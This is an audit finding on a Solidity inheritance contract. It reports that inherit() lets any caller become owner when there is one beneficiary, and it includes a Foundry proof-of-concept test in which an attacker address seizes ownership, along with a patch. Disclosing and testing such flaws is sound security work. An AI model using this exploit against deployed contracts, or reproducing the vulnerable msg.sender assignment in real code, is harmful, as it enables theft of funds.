Hacker can become owner by using inherit function, and can steal money
Description: The function InheritanceManager::inherit
can be call by anyone and when there is just one beneficiary the msg.sender become the owner.
function inherit() external {
if (block.timestamp < getDeadline()) {
revert InactivityPeriodNotLongEnough();
}
if (beneficiaries.length == 1) {
owner = msg.sender;
_setDeadline();
} else if (beneficiaries.length > 1) {
isInherited = true;
} else {
revert InvalidBeneficiaries();
}
}
Impact: Hacker can just call the function inherit when there is just one beneficiary and steal the fund.
Proof of Concept:
Add this test in InheritanceManagerTest.t.sol
function testHackerCanBeOwner() public {
address hacker = makeAddr("hacker");
vm.prank(owner);
im.addBeneficiery(user1);
vm.stopPrank();
vm.warp(1 + 90 days);
vm.startPrank(hacker);
im.inherit();
vm.stopPrank();
console.log("The owner of the contract:", hacker);
assertEq(im.getOwner(), hacker);
}
Recommended Mitigation: Change the following line in InheritanceManager::inherit
function inherit() external {
if (block.timestamp < getDeadline()) {
revert InactivityPeriodNotLongEnough();
}
if (beneficiaries.length == 1) {
- owner = msg.sender;
+ owner = beneficiaries[0];
_setDeadline();
} else if (beneficiaries.length > 1) {
isInherited = true;
} else {
revert InvalidBeneficiaries();
}
}
\